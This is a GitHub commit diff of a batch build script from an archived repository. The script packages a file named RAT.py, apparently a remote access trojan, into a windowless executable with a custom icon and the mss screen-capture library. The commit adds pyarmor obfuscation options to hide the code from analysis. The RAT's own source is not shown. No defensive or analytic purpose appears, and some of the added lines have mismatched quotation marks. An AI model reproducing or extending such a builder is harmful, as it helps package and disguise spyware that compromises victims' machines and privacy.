This repository was archived by the owner on Mar 6, 2026. It is now read-only.
File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -214,19 +214,28 @@ copy "modules\*.*" ..\"!folder!"
214214cd modules
215215
216216set " main_arg = pyinstaller --onefile --noconsole --icon=custom_icon.ico --hidden-import mss"
217+ set " main_arg3 = pyarmor pack --clean -e " --onefile --noconsole --icon = custom_icon.ico --hidden-import mss"
218+
217219set " main_arg2 = pyinstaller --onefile --noconsole --hidden-import mss"
220+ set " main_arg4 = pyarmor pack -e " --onefile --noconsole --hidden-import mss"
221+
218222for %%i in (*) do set " main_arg = !main_arg! --add-data %%~nxi ;."
219223for %%i in (*) do set " main_arg2 = !main_arg2! --add-data %%~nxi ;."
224+ for %%i in (*) do set " main_arg3 = !main_arg3! --add-data %%~nxi ;."
225+ for %%i in (*) do set " main_arg4 = !main_arg4! --add-data %%~nxi ;."
226+
220227set " main_arg = !main_arg! RAT.py"
221- set " main_arg2 = !main_arg! RAT.py"
228+ set " main_arg2 = !main_arg2! RAT.py"
229+ set " main_arg3 = !main_arg3! " RAT.py"
230+ set "main_arg4 = !main_arg4! " RAT.py"
222231
223232cd " %~dp0 !folder! "
224233
225234if " !pyarmor! " == " yes" (
226235 if " !icon! " == " yes" (
227- pyarmor pack -e " --onefile --noconsole --icon=custom_icon.ico " RAT.py
236+ !main_arg3!
228237 ) else (
229- pyarmor pack -e " --onefile --noconsole " RAT.py
238+ !main_arg4!
230239 )
231240) else (
232241 if " !icon! " == " yes" (
You can’t perform that action at this time.
0 commit comments